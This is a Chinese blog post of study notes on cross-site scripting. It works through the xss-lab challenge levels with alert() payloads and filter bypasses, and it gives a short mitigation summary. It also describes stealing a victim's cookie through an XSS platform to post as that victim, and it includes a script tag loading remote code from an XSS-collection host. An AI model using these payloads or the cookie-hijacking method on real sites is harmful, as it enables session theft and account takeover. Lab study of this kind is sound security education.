XSS知识



一、XSS漏洞认识、利用、防护

XSS:Cross Site Scripting跨站脚本攻击,攻击者将自己的恶意js代码让受害者浏览器执行

二、XSS窃取cookie

进入xss测试平台,新建项目,选择超强默认模块
在这里插入图片描述
将代码放入匿名帖子中,受害者点击,攻击者获取受害者Cookie,用ModHeader插件粘贴受害者的cookie,进行登入
在这里插入图片描述
就可以实现用受害者的身份发帖子
在这里插入图片描述

三、xss-lab第一关

在这里插入图片描述
在URL后面加上<script>alert();</script>

在这里插入图片描述

四、xss-lab第二关

两个输入点:URL和搜索栏
两个输出点:搜索栏和结果个数处
在这里插入图片描述
查看页面源代码:
在这里插入图片描述

在搜索栏输入test"onmouseover="alert();,结果如下:
在这里插入图片描述

五、js引入的各类方式

<script>alert(1);</script> //直接嵌入

script <input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入script字符串

<script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script 

<a HREF=javascript:alert(1)>aaa</a> //超链接 
或者:<a HREF=java&#115;c&#114;ipt:alert(1)>aaa</a> //html实体转义 
<svg onload=alert(1)> 
<svg><script>alert&#40;1)</script>

六、xss-lab第三关

查看页面源代码:
在这里插入图片描述

在搜索栏输入test'onmouseover='alert();,结果如下:
在这里插入图片描述

七、xss-lab第四关

查看页面源代码,发现搜索框处的value=“”
所以在搜索框输入test"onmouseover="alert();
在这里插入图片描述

八、xss-lab第五关

采用和第四关一样的test"onmouseover="alert();
发现不行,查看页面源代码,发现其变为了

<input name=keyword  value="test"o_nclick="alert();">

所以换一个方法用超链接href
先用>隔开前面的内容,最后结果如下:

test"><a href=javascript:alert(1)>aaa</a>

在这里插入图片描述

九、xss-lab第六关

采用第五关的test"><a href=javascript:alert(1)>aaa</a>
查看后台源代码,发现href变成了hr_ef

<input name=keyword  value="test"><a hr_ef=javascript:alert(1)>aaa</a>">

尝试把href变成大写HREF,成功

test"><a HREF=javascript:alert(1)>aaa</a>

在这里插入图片描述

十、xss-lab第七关

尝试test"><a href=javascript:alert(1)>aaa</a>
查看页面源代码:<input name=keyword value="test"><a =java:alert(1)>aaa</a>">
发现它把href和script删了

于是尝试大小写绕过
test"><a HREF=jAvaScript:alert(1)>aaa</a>
还是不行

那么尝试双写关键字:
test">aaa
成功
在这里插入图片描述

十一、xss-lab第八关

在这里插入图片描述

它让我们添加友情链接,那么应该是通过添加友情链接,再点击下面超链接来触发弹窗
尝试javascript:alert(1)
查看页面源代码,发现c变成了_:

</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>

那我们对c进行实体转义:

javasc&#114;ipt:alert(1)

成功
在这里插入图片描述

十二、xss-lab第九关

直接输入javascript:alert(1),发现不行,但是正常网址却可以,说明可能有http字头的检测
尝试javascript:alert(&#34;http://&quot)
查看页面源代码,发现javascript被插入了_,那么进行转义:

javasc&#114ipt:alert(&#34;http://&quot)

成功
在这里插入图片描述

十三、xss-lab第十关

没有搜索框了,查看源代码,发现有三个<input>标签,也就意味着是三个参数
在这里插入图片描述
构造语句,看看哪个标签的type能够被改变

?t_link=1" type="text"&t_history=1" type="text"&t_sort=1" type="text"

在这里插入图片描述

发现t_sort字段有回显,加以利用,构造代码:

?t_sort=1" οnmοuseοver="alert(1);" type="text"

在这里插入图片描述

十四、xss-lab第十一关

有四个标签
在这里插入图片描述
构造语句,看看哪个标签的type能够被改变

?t_link=1" type="text"&t_history=1" type="text"&t_sort=1" type="text"&t_ref=1" type="text"

发现t_sort有回显
在这里插入图片描述
网页回显内容来自referer和User-Agent提交的参数,通过ModHeader插件构造Referer参数

referer:1" οnmοuseοver='alert(1)' type="text"

在这里插入图片描述

十五、xss-lab第十二关

同11关一样,查看页面源代码,发现t_ua可以回显,修改UserAgent参数
在这里插入图片描述

User-Agent:1" οnmοuseοver='alert(1)' type="text"

在这里插入图片描述

十六、xss-lab第十三关

同12关一样,查看页面源代码,发现t_cook可以回显,修改Cookie参数
在这里插入图片描述

Cookie:user=1" οnmοuseοver='alert(1)' type="text"

在这里插入图片描述

小结

漏洞危害

条件满足的情况下:
1.窃取凭证
2.篡改页面
3.构造XSS蠕虫

绕过方法

大小写绕过
双写绕过
字符春html实体化编码绕过

防护思路

1.如果针对简单的输入框,则需要识别和转义特殊字符,包括尖括号、引号、javascript中任意字符等
2.针对功能复杂的的富文本输入框,建议使用成熟的前端富文本输入框中,如ueditor等
3.在http的响应头中,为set-cookie选项额外添加http-only的值。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值